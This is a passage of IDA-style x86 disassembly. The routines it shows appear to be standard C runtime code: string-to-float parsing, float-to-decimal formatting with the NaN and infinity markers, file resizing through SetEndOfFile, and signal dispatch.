loc_4171ED:				; CODE XREF: sub_416F96+292j
		push	8
		jmp	short loc_41725C
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		mov	[ebp+var_24], edx ; jumptable 00416FFE case 8
		jmp	short loc_4171F9
; ---------------------------------------------------------------------------


loc_4171F6:				; CODE XREF: sub_416F96+266j
		mov	bl, [edi]
		inc	edi


loc_4171F9:				; CODE XREF: sub_416F96+25Ej
		cmp	bl, 30h
		jz	short loc_4171F6
		cmp	bl, 31h
		jl	loc_41703A
		cmp	bl, 39h
		jg	loc_41703A
		jmp	short loc_41721C
; ---------------------------------------------------------------------------


loc_417212:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	bl, 31h		; jumptable 00416FFE case 7
		jl	short loc_417225
		cmp	bl, 39h
		jg	short loc_417225


loc_41721C:				; CODE XREF: sub_416F96+240j
					; sub_416F96+27Aj
		push	9


loc_41721E:				; CODE XREF: sub_416F96+7Bj
		pop	eax


loc_41721F:				; CODE XREF: sub_416F96+230j
		dec	edi
		jmp	loc_416FF2
; ---------------------------------------------------------------------------


loc_417225:				; CODE XREF: sub_416F96+27Fj
					; sub_416F96+284j
		cmp	bl, 30h
		jz	short loc_4171ED


loc_41722A:				; CODE XREF: sub_416F96+127j
					; sub_416F96+22Cj
		mov	edi, [ebp+arg_8]
		jmp	loc_4172F9
; ---------------------------------------------------------------------------


loc_417232:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	[ebp+arg_18], 0	; jumptable 00416FFE case 11
		jz	short loc_417262
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+arg_8], ecx
		jz	short loc_41725A
		dec	eax
		dec	eax
		jnz	loc_4172F7


loc_41724E:				; CODE XREF: sub_416F96+24Cj
		or	[ebp+var_1C], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_416FF2
; ---------------------------------------------------------------------------


loc_41725A:				; CODE XREF: sub_416F96+248j
					; sub_416F96+2AEj
		push	7


loc_41725C:				; CODE XREF: sub_416F96+8Aj
					; sub_416F96+FDj ...
		pop	eax
		jmp	loc_416FF2
; ---------------------------------------------------------------------------


loc_417262:				; CODE XREF: sub_416F96+2A0j
		push	0Ah
		pop	eax
		dec	edi


loc_417266:				; CODE XREF: sub_416F96+62j
					; sub_416F96+68j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00416FFE case 10
		jnz	loc_416FF2
		jmp	loc_4172F9
; ---------------------------------------------------------------------------


loc_417274:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		mov	[ebp+var_24], 1	; jumptable 00416FFE case 9
		xor	esi, esi


loc_41727D:				; CODE XREF: sub_416F96+325j
		cmp	dword_4214F4, 1
		movzx	eax, bl
		jle	short loc_417295
		push	4
		push	eax
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_4172A2
; ---------------------------------------------------------------------------


loc_417295:				; CODE XREF: sub_416F96+2F1j
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4


loc_4172A2:				; CODE XREF: sub_416F96+2FDj
		test	eax, eax
		jz	short loc_4172C2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4172BD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41727D
; ---------------------------------------------------------------------------


loc_4172BD:				; CODE XREF: sub_416F96+320j
		mov	esi, 1451h


loc_4172C2:				; CODE XREF: sub_416F96+30Ej
		mov	[ebp+var_20], esi


loc_4172C5:				; CODE XREF: sub_416F96+35Fj
		cmp	dword_4214F4, 1
		movzx	eax, bl
		jle	short loc_4172DD
		push	4
		push	eax
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_4172EA
; ---------------------------------------------------------------------------


loc_4172DD:				; CODE XREF: sub_416F96+339j
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4


loc_4172EA:				; CODE XREF: sub_416F96+345j
		test	eax, eax
		jz	loc_41703A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4172C5
; ---------------------------------------------------------------------------


loc_4172F7:				; CODE XREF: sub_416F96+251j
					; sub_416F96+2B2j
		mov	edi, ecx


loc_4172F9:				; CODE XREF: sub_416F96+A5j
					; sub_416F96+297j ...
		cmp	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_41739E
		push	18h
		pop	eax
		cmp	[ebp+var_8], eax
		jbe	short loc_417325
		cmp	[ebp+var_41], 5
		jl	short loc_417319
		inc	[ebp+var_41]


loc_417319:				; CODE XREF: sub_416F96+37Ej
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		dec	eax
		inc	[ebp+var_C]
		jmp	short loc_417328
; ---------------------------------------------------------------------------


loc_417325:				; CODE XREF: sub_416F96+378j
		mov	eax, [ebp+var_10]


loc_417328:				; CODE XREF: sub_416F96+38Dj
		cmp	[ebp+var_8], 0
		jbe	loc_4173C5
		jmp	short loc_41733A
; ---------------------------------------------------------------------------


loc_417334:				; CODE XREF: sub_416F96+3A8j
		dec	[ebp+var_8]
		inc	[ebp+var_C]


loc_41733A:				; CODE XREF: sub_416F96+39Cj
		dec	eax
		cmp	byte ptr [eax],	0
		jz	short loc_417334
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_416EB2
		mov	eax, [ebp+var_20]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_1C], ecx
		jge	short loc_41735F
		neg	eax


loc_41735F:				; CODE XREF: sub_416F96+3C5j
		add	eax, [ebp+var_C]
		cmp	[ebp+var_24], ecx
		jnz	short loc_41736A
		add	eax, [ebp+arg_10]


loc_41736A:				; CODE XREF: sub_416F96+3CFj
		cmp	[ebp+var_28], ecx
		jnz	short loc_417372
		sub	eax, [ebp+arg_14]


loc_417372:				; CODE XREF: sub_416F96+3D7j
		cmp	eax, 1450h
		jg	short loc_4173A7
		cmp	eax, 0FFFFEBB0h
		jl	short loc_4173BE
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417BAD
		mov	edx, [ebp+var_3C]
		mov	ebx, [ebp+var_3C+2]
		mov	esi, [ebp+var_36]
		mov	eax, [ebp+var_32]
		add	esp, 0Ch
		jmp	short loc_4173CD
; ---------------------------------------------------------------------------


loc_41739E:				; CODE XREF: sub_416F96+36Cj
		mov	[ebp+var_18], 4
		jmp	short loc_4173C5
; ---------------------------------------------------------------------------


loc_4173A7:				; CODE XREF: sub_416F96+3E1j
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_18], 2
		jmp	short loc_4173CD
; ---------------------------------------------------------------------------


loc_4173BE:				; CODE XREF: sub_416F96+3E8j
		mov	[ebp+var_18], 1


loc_4173C5:				; CODE XREF: sub_416F96+396j
					; sub_416F96+40Fj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx


loc_4173CD:				; CODE XREF: sub_416F96+406j
					; sub_416F96+426j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_2C]
		mov	[ecx+2], ebx
		mov	[ecx+6], esi
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_18]
		mov	[ecx], dx
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_416F96	endp

; ---------------------------------------------------------------------------
off_4173F3	dd offset loc_417005	; DATA XREF: sub_416F96+68r
		dd offset loc_417055	; jump table for switch	statement
		dd offset loc_4170A0
		dd offset loc_4170CA
		dd offset loc_417123
		dd offset loc_417198
		dd offset loc_4171C8
		dd offset loc_417212
		dd offset loc_4171F1
		dd offset loc_417274
		dd offset loc_417266
		dd offset loc_417232

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417423	proc near		; CODE XREF: sub_415961+37p

var_30		= byte ptr -30h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_23], 0CCh
		mov	[ebp+var_22], 0CCh
		mov	[ebp+var_21], 0CCh
		mov	[ebp+var_20], 0CCh
		mov	[ebp+var_1F], 0CCh
		mov	[ebp+var_1E], 0CCh
		mov	[ebp+var_1D], 0CCh
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0FBh
		mov	[ebp+var_19], 3Fh
		mov	[ebp+var_8], 1
		mov	edx, eax
		jz	short loc_417490
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_417494
; ---------------------------------------------------------------------------


loc_417490:				; CODE XREF: sub_417423+65j
		mov	byte ptr [ebx+2], 20h


loc_417494:				; CODE XREF: sub_417423+6Bj
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_4174A9
		test	edi, edi
		jnz	short loc_4174A9
		cmp	[ebp+arg_0], edi
		jz	loc_41759C


loc_4174A9:				; CODE XREF: sub_417423+77j
					; sub_417423+7Bj
		cmp	dx, si
		jnz	short loc_417526
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_4174C2
		cmp	[ebp+arg_0], 0
		jz	short loc_4174D1


loc_4174C2:				; CODE XREF: sub_417423+97j
		test	edi, 40000000h
		jnz	short loc_4174D1
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_417517
; ---------------------------------------------------------------------------


loc_4174D1:				; CODE XREF: sub_417423+9Dj
					; sub_417423+A5j
		test	cx, cx
		jz	short loc_4174EB
		cmp	edi, 0C0000000h
		jnz	short loc_4174EB
		cmp	[ebp+arg_0], 0
		jnz	short loc_417512
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174EB:				; CODE XREF: sub_417423+B1j
					; sub_417423+B9j
		cmp	edi, eax
		jnz	short loc_417512
		cmp	[ebp+arg_0], 0
		jnz	short loc_417512
		push	offset a1Inf	; "1#INF"


loc_4174FA:				; CODE XREF: sub_417423+C6j
		lea	eax, [ebx+4]
		push	eax
		call	sub_40D8A0
		mov	byte ptr [ebx+3], 5


loc_417507:				; CODE XREF: sub_417423+101j
		and	[ebp+var_8], 0
		pop	ecx
		pop	ecx
		jmp	loc_41767E
; ---------------------------------------------------------------------------


loc_417512:				; CODE XREF: sub_417423+BFj
					; sub_417423+CAj ...
		push	offset a1Qnan	; "1#QNAN"


loc_417517:				; CODE XREF: sub_417423+ACj
		lea	eax, [ebx+4]
		push	eax
		call	sub_40D8A0
		mov	byte ptr [ebx+3], 6
		jmp	short loc_417507
; ---------------------------------------------------------------------------


loc_417526:				; CODE XREF: sub_417423+89j
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_18], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_16], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_E], dx
		mov	[ebp+var_12], edi
		call	sub_417BAD
		add	esp, 0Ch
		cmp	[ebp+var_E], 3FFFh
		jb	short loc_417587
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		inc	esi
		call	sub_417975
		pop	ecx
		pop	ecx


loc_417587:				; CODE XREF: sub_417423+152j
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_4175A5
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_4175A5


loc_41759C:				; CODE XREF: sub_417423+80j
		mov	byte ptr [ebx+4], 30h
		jmp	loc_4176A2
; ---------------------------------------------------------------------------


loc_4175A5:				; CODE XREF: sub_417423+16Ej
					; sub_417423+177j
		cmp	edi, 15h
		jle	short loc_4175AD
		push	15h
		pop	edi


loc_4175AD:				; CODE XREF: sub_417423+185j
		movzx	esi, [ebp+var_E]
		sub	esi, 3FFEh
		and	[ebp+var_E], 0
		mov	[ebp+arg_8], 8


loc_4175C3:				; CODE XREF: sub_417423+1ADj
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416E57
		dec	[ebp+arg_8]
		pop	ecx
		jnz	short loc_4175C3
		test	esi, esi
		jge	short loc_4175ED
		neg	esi
		and	esi, 0FFh
		jle	short loc_4175ED


loc_4175E0:				; CODE XREF: sub_417423+1C8j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416E85
		dec	esi
		pop	ecx
		jnz	short loc_4175E0


loc_4175ED:				; CODE XREF: sub_417423+1B1j
					; sub_417423+1BBj
		lea	ecx, [edi+1]
		test	ecx, ecx
		lea	eax, [ebx+4]
		mov	[ebp+arg_8], eax
		jle	short loc_41764A
		mov	[ebp+var_C], ecx


loc_4175FD:				; CODE XREF: sub_417423+222j
		lea	esi, [ebp+var_18]
		lea	edi, [ebp+var_30]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		movsd
		call	sub_416E57
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416E57
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416DF9
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416E57
		mov	al, byte ptr [ebp+var_E+1]
		mov	ecx, [ebp+arg_8]
		and	byte ptr [ebp+var_E+1],	0
		add	al, 30h
		add	esp, 14h
		inc	[ebp+arg_8]
		dec	[ebp+var_C]
		mov	[ecx], al
		jnz	short loc_4175FD
		mov	eax, [ebp+arg_8]


loc_41764A:				; CODE XREF: sub_417423+1D5j
		dec	eax
		mov	cl, [eax]
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_417697
		jmp	short loc_417661
; ---------------------------------------------------------------------------


loc_417658:				; CODE XREF: sub_417423+240j
		cmp	byte ptr [eax],	39h
		jnz	short loc_417665
		mov	byte ptr [eax],	30h
		dec	eax


loc_417661:				; CODE XREF: sub_417423+233j
		cmp	eax, ecx
		jnb	short loc_417658


loc_417665:				; CODE XREF: sub_417423+238j
		cmp	eax, ecx
		jnb	short loc_41766D
		inc	eax
		inc	word ptr [ebx]


loc_41766D:				; CODE XREF: sub_417423+244j
		inc	byte ptr [eax]


loc_41766F:				; CODE XREF: sub_417423+27Aj
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41767E:				; CODE XREF: sub_417423+EAj
		mov	eax, [ebp+var_8]


loc_417681:				; CODE XREF: sub_417423+292j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
; ---------------------------------------------------------------------------


loc_417691:				; CODE XREF: sub_417423+276j
		cmp	byte ptr [eax],	30h
		jnz	short loc_41769B
		dec	eax


loc_417697:				; CODE XREF: sub_417423+231j
		cmp	eax, ecx
		jnb	short loc_417691


loc_41769B:				; CODE XREF: sub_417423+271j
		cmp	eax, ecx
		jnb	short loc_41766F
		mov	byte ptr [ecx],	30h


loc_4176A2:				; CODE XREF: sub_417423+17Dj
		and	word ptr [ebx],	0
		and	byte ptr [ebx+5], 0
		xor	eax, eax
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		inc	eax
		jmp	short loc_417681
sub_417423	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176B7	proc near		; CODE XREF: sub_415B4C+2A6p

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_40D9A0
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4C5DA0
		mov	[ebp+var_4], eax
		jnb	loc_4177F7
		mov	eax, ebx
		sar	eax, 5
		mov	eax, dword_4C5DC0[eax*4]
		mov	ecx, ebx
		and	ecx, 1Fh
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4177F7
		push	1
		push	esi
		push	ebx
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	loc_417801
		push	2
		push	esi
		push	ebx
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_417801
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4177A4
		push	1000h
		lea	eax, [ebp+var_1008]
		push	esi
		push	eax
		call	sub_40D7B0
		push	8000h
		push	ebx
		call	sub_417C39
		add	esp, 14h
		mov	[ebp+arg_0], eax


loc_417758:				; CODE XREF: sub_4176B7+C6j
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_417763
		mov	eax, edi


loc_417763:				; CODE XREF: sub_4176B7+A8j
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ebx
		call	sub_41330B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417781
		sub	edi, eax
		test	edi, edi
		jg	short loc_417758
		jmp	short loc_417797
; ---------------------------------------------------------------------------


loc_417781:				; CODE XREF: sub_4176B7+C0j
		cmp	dword_4C5908, 5
		jnz	short loc_417794
		mov	dword_4C5904, 0Dh


loc_417794:				; CODE XREF: sub_4176B7+D1j
		or	esi, 0FFFFFFFFh


loc_417797:				; CODE XREF: sub_4176B7+C8j
		push	[ebp+arg_0]
		push	ebx
		call	sub_417C39
		pop	ecx
		pop	ecx
		jmp	short loc_4177E4
; ---------------------------------------------------------------------------


loc_4177A4:				; CODE XREF: sub_4176B7+7Cj
		jge	short loc_4177E4
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_4134BF
		push	ebx
		call	sub_415FAA
		add	esp, 10h
		push	eax
		call	dword_419190	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4177E4
		mov	dword_4C5904, 0Dh
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C5908, eax


loc_4177E4:				; CODE XREF: sub_4176B7+EBj
					; sub_4176B7:loc_4177A4j ...
		push	0
		push	[ebp+var_8]
		push	ebx
		call	sub_4134BF
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_417804
; ---------------------------------------------------------------------------


loc_4177F7:				; CODE XREF: sub_4176B7+25j
					; sub_4176B7+41j
		mov	dword_4C5904, 9


loc_417801:				; CODE XREF: sub_4176B7+59j
					; sub_4176B7+6Ej
		or	eax, 0FFFFFFFFh


loc_417804:				; CODE XREF: sub_4176B7+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_4176B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_417813	proc near		; CODE XREF: sub_41784C+5Ap
		mov	ecx, dword_421630
		mov	eax, offset dword_4215B0
		push	esi


loc_41781F:				; CODE XREF: sub_417813+20j
		cmp	[eax+4], edx
		jz	short loc_417835
		lea	esi, [ecx+ecx*2]
		add	eax, 0Ch
		lea	esi, ds:4215B0h[esi*4]
		cmp	eax, esi
		jb	short loc_41781F


loc_417835:				; CODE XREF: sub_417813+Fj
		lea	ecx, [ecx+ecx*2]
		lea	ecx, ds:4215B0h[ecx*4]
		cmp	eax, ecx
		pop	esi
		jnb	short loc_417849
		cmp	[eax+4], edx
		jz	short locret_41784B


loc_417849:				; CODE XREF: sub_417813+2Fj
		xor	eax, eax

locret_41784B:				; CODE XREF: sub_417813+34j
		retn
sub_417813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41784C	proc near		; CODE XREF: sub_413EDF+2417p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4178B2
		dec	eax
		dec	eax
		jz	short loc_4178A4
		sub	eax, 4
		jz	short loc_4178A4
		sub	eax, 3
		jz	short loc_4178A4
		sub	eax, 4
		jz	short loc_417897
		sub	eax, 6
		jz	short loc_41788A
		dec	eax
		jz	short loc_41787D
		or	eax, 0FFFFFFFFh
		jmp	loc_417971
; ---------------------------------------------------------------------------


loc_41787D:				; CODE XREF: sub_41784C+27j
		mov	esi, dword_4C5B34
		mov	eax, offset dword_4C5B34
		jmp	short loc_4178BD
; ---------------------------------------------------------------------------


loc_41788A:				; CODE XREF: sub_41784C+24j
		mov	esi, dword_4C5B30
		mov	eax, offset dword_4C5B30
		jmp	short loc_4178BD
; ---------------------------------------------------------------------------


loc_417897:				; CODE XREF: sub_41784C+1Fj
		mov	esi, dword_4C5B38
		mov	eax, offset dword_4C5B38
		jmp	short loc_4178BD
; ---------------------------------------------------------------------------


loc_4178A4:				; CODE XREF: sub_41784C+10j
					; sub_41784C+15j ...
		mov	edx, edi
		call	sub_417813
		add	eax, 8
		mov	esi, [eax]
		jmp	short loc_4178BD
; ---------------------------------------------------------------------------


loc_4178B2:				; CODE XREF: sub_41784C+Cj
		mov	esi, dword_4C5B2C
		mov	eax, offset dword_4C5B2C


loc_4178BD:				; CODE XREF: sub_41784C+3Cj
					; sub_41784C+49j ...
		cmp	esi, 1
		jz	loc_41796F
		test	esi, esi
		jnz	short loc_4178D1
		push	3
		call	sub_40DE75


loc_4178D1:				; CODE XREF: sub_41784C+7Cj
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4178E3
		cmp	edi, 0Bh
		jz	short loc_4178E3
		cmp	edi, 4
		jnz	short loc_417909


loc_4178E3:				; CODE XREF: sub_41784C+8Bj
					; sub_41784C+90j
		mov	ebx, dword_4C59CC
		and	dword_4C59CC, 0
		cmp	edi, ecx
		jnz	short loc_417938
		mov	edx, dword_421634
		mov	[ebp+arg_0], edx
		mov	dword_421634, 8Ch
		jmp	short loc_41790C
; ---------------------------------------------------------------------------


loc_417909:				; CODE XREF: sub_41784C+95j
		mov	ebx, [ebp+arg_0]


loc_41790C:				; CODE XREF: sub_41784C+BBj
		cmp	edi, ecx
		jnz	short loc_417938
		mov	eax, dword_421628
		mov	ecx, dword_42162C
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41793F
		lea	edx, [eax+eax*2]
		lea	edx, ds:4215B8h[edx*4]
		sub	ecx, eax


loc_41792D:				; CODE XREF: sub_41784C+E8j
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41792D
		jmp	short loc_41793F
; ---------------------------------------------------------------------------


loc_417938:				; CODE XREF: sub_41784C+A6j
					; sub_41784C+C2j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41794D


loc_41793F:				; CODE XREF: sub_41784C+D3j
					; sub_41784C+EAj
		push	dword_421634
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41795B
; ---------------------------------------------------------------------------


loc_41794D:				; CODE XREF: sub_41784C+F1j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41795B
		cmp	edi, 4
		jnz	short loc_41796E


loc_41795B:				; CODE XREF: sub_41784C+FFj
					; sub_41784C+108j
		cmp	edi, 8
		mov	dword_4C59CC, ebx
		jnz	short loc_41796E
		mov	eax, [ebp+arg_0]
		mov	dword_421634, eax


loc_41796E:				; CODE XREF: sub_41784C+10Dj
					; sub_41784C+118j
		pop	ebx


loc_41796F:				; CODE XREF: sub_41784C+74j
		xor	eax, eax


loc_417971:				; CODE XREF: sub_41784C+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41784C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417975	proc near		; CODE XREF: sub_417423+15Dp
					; sub_417BAD+6Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_417B82
		cmp	cx, 7FFFh
		jnb	loc_417B82
		cmp	dx, 0BFFDh
		ja	loc_417B82
		cmp	dx, 3FBFh
		ja	short loc_4179EB
		xor	eax, eax
		jmp	short loc_417A25
; ---------------------------------------------------------------------------


loc_4179EB:				; CODE XREF: sub_417975+70j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_417A0D
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_417A0F
		cmp	[esi+4], eax
		jnz	short loc_417A0F
		cmp	[esi], eax
		jnz	short loc_417A0F
		jmp	loc_417B7C
; ---------------------------------------------------------------------------


loc_417A0D:				; CODE XREF: sub_417975+7Ej
		xor	eax, eax


loc_417A0F:				; CODE XREF: sub_417975+88j
					; sub_417975+8Dj ...
		cmp	cx, ax
		jnz	short loc_417A32
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_417A32
		cmp	[ebx+4], eax
		jnz	short loc_417A32
		cmp	[ebx], eax
		jnz	short loc_417A32


loc_417A25:				; CODE XREF: sub_417975+74j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_417B9D
; ---------------------------------------------------------------------------


loc_417A32:				; CODE XREF: sub_417975+9Dj
					; sub_417975+A5j ...
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		mov	[ebp+arg_4], 5


loc_417A42:				; CODE XREF: sub_417975+12Fj
		mov	eax, [ebp+var_14]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_417A96
		add	eax, esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_1C], eax


loc_417A5E:				; CODE XREF: sub_417975+11Fj
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_8]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_416DD8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417A89
		mov	eax, [ebp+var_8]
		inc	word ptr [eax]


loc_417A89:				; CODE XREF: sub_417975+10Cj
		add	[ebp+var_C], 2
		sub	[ebp+var_10], 2
		dec	[ebp+var_1C]
		jnz	short loc_417A5E


loc_417A96:				; CODE XREF: sub_417975+D6j
		add	[ebp+var_8], 2
		inc	[ebp+var_14]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_417A42
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_417AD9


loc_417AB4:				; CODE XREF: sub_417975+15Bj
		test	byte ptr [ebp+var_20+3], 80h
		jnz	short loc_417AD2
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416E57
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
